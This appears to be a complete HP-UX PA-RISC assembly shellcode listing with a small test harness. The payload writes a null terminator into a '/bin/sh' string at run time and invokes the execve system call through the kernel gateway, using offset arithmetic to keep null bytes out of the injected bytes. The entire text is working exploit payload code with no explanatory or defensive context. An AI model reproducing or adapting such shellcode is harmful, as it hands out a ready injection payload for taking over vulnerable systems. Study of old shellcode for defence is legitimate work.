.SPACE $TEXT$ .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=44 .align 4 .EXPORT main,ENTRY,PRIV_LEV=3,ARGW0=GR,ARGW1=GR main bl shellcode, %r1 nop .SUBSPA $DATA$ .EXPORT shellcode; So we could see it in debugger shellcode bl .+4,%r1 ; address into %r1 addi 500, %r1, %r3; stb %r0, SHELL-shellcode+7-11-500(%sr0,%r3) xor %r25, %r25, %r25; NULL ->arg1 ldi SHELL-shellcode-11-500, %r26; add %r3, %r26, %r26; ldil L%0xc0000000,%r1; entry point ldi 500, %r22 ; ble 0x4(%sr7,%r1) ; subi 511, %r22, %r22 ; SHELL .STRING "/bin/shA"; endofshellcode